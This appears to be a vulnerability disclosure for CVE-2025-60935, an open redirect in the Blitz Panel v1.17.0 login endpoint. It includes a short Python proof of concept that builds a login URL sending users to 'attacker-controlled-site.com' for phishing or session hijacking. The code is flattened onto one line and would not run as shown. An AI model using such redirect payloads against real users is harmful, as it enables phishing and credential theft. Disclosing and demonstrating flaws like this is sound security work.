CVE-2025-60935 Blitz Panel v1.17.0 登录端点开放重定向漏洞

import requests # CVE-2025-60935 PoC - Open Redirect in Blitz Panel v1.17.0 # Target URL with malicious next_url parameter target_url = "http://target-server:8080/login" malicious_domain = "https://attacker-controlled-site.com" # Construct malicious login URL with open redirect payload params = { "next_url": malicious_domain, "username": "[email protected]", "password": "any_password" } # The application will redirect user to malicious_domain after successful login # Attackers can use this for phishing or session hijacking # Example attack URL: # http://target-server:8080/login?next_url=https://attacker-controlled-site.com # Note: This PoC demonstrates the open redirect vulnerability. # Successful exploitation requires user interaction and valid credentials. print(f"Malicious URL: {target_url}?next_url={requests.utils.quote(malicious_domain, safe='')}") print("After successful login, user will be redirected to attacker's domain.")